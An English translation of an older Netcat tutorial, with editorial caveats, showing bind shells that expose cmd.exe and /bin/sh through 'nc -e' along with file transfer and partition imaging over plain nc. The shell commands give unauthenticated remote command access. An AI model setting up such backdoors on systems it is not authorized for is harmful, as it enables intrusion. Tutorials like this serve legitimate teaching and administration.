Istvan Juhos

Notes byIstvan Juhos

All field notes

Netcat: Malicious Uses and Server Administration

An English translation of the original Netcat tutorial: Windows and Linux examples, remote text reading, file transfers, and partition imaging, with notes on legacy command syntax.

English translation of the original Romanian article, “Netcat — pentru scopuri rele, dar și pentru administratori de servere”. The examples retain the original command syntax and filenames.

Compatibility note: This is an older tutorial. Netcat has several implementations with different options. In particular, the executable-launching -e option and the -l -p syntax below are not portable. The current OpenBSD nc manual documents different meanings and restrictions. Check the help for your installed version before using the examples.

Original Netcat illustration: the word netcat above two yellow cat eyes

The Netcat utility is often associated with hackers, but it can also be used for legitimate purposes. The original program was written for Unix; Linux and Windows versions appeared later.

Netcat has been used as a backdoor on compromised computers and servers. It can establish a TCP or UDP connection between two computers, reading and writing data through an open port. This makes it possible to transfer files and, in some configurations, execute commands. It can also scan ports, although that is not its best-known use. Despite its age, Netcat remains a useful tool and has often been described as one of the most important small security utilities.

Netcat used for malicious purposes

On Windows

To connect to a Windows computer using this method, Netcat must first be started on that computer in listening mode, on a port that is not blocked by a firewall.

Run this command on the computer you want to connect to:

C:\nc.exe -l -p 8080 -e c:\windows\system32\cmd.exe

After you press Enter, nothing may appear on the screen. Netcat is listening for an incoming connection.

  • -l — listen: wait for an incoming connection.
  • -p — port: specify the listening port in the implementation used by this example. Some versions take the port number directly, without -p.
  • -e — execute: specify the program to run when a client connects, in versions that support this form of the option.

Connect from the other computer:

C:\nc.exe 192.168.1.101 8080

Microsoft Windows XP [Version 5.xx]
(C) Copyright 1985-x Microsoft Corp.
C:\

On Linux

The corresponding Linux example starts a different shell: a program that accepts commands.

root# nc -l -p 8080 -e /bin/sh

On Windows, Netcat builds that support the command-executing -e option have often been flagged by antivirus software and removed during malware cleanup. File transfers can still be performed with versions that do not provide command execution.

Editorial note: The shell examples above provide remote command access without authentication or encryption. They are historical demonstrations, not a secure remote-administration setup. Restrict any experiments to systems you own or are authorized to administer.

Netcat used for legitimate purposes

Server administrators also use Netcat. After compromising a server, attackers may replace or infect its system binaries. This can undermine an administrator’s attempt to clean the machine: an attacker may still be able to observe the administrator’s actions, including password changes.

The original article suggested keeping Netcat on a CD so that an administrator could connect without relying on the modified copy on the server, describing this as a way to avoid a compromised connection.

Editorial correction: A trusted copy of Netcat does not make a compromised operating system trustworthy, and these plain Netcat connections do not protect the data in transit. The original recovery claim should not be treated as a security guarantee.

Another advantage is the ability to copy files across a network without setting up an FTP server, HTTP server, or another file-transfer service. Netcat can transfer small files, large files, and even images of entire partitions.

Example: reading a text file remotely

Suppose a text file named adrese-web.txt contains the line parola adresa web www.exemplu.com — roughly, “password website address www.exemplu.com.” The original Romanian filename and sample text are kept here so the examples match the source.

Serve the file:

root# nc -l -p 8080 < adrese-web.txt

Read it from the other computer:

root# nc 192.168.1.101 8080
parola adresa web www.exemplu.com

Copying a file with Netcat

Send the file:

root# cat imagine.jpg | nc -l 5050

Receive the file:

root# nc 192.168.1.101 5050 > imagine.jpg

Copying an entire partition with Netcat

Create and send a compressed image of the partition:

root# dd if=/dev/hdb2 | gzip -9 | nc -l 5050

Receive the image:

root# nc 192.168.1.101 5050 | pv -b > partitiahdb2.img.gz

The original article describes pv as a progress indicator that shows how much data has been copied. More precisely, pv is a separate pipeline-monitoring utility, and -b displays the number of bytes transferred; it is not a Netcat option.

The original Windows download reference

At the time of writing, Windows versions of Netcat were becoming harder to find online. To save readers time, the article provided this Windows Netcat download link, while noting that Linux versions were easier to obtain.

This link is retained as a historical reference from the original article. The legacy Windows binary has not been downloaded, executed, or verified for this translation.

Istvan Juhos

Notes byIstvan Juhos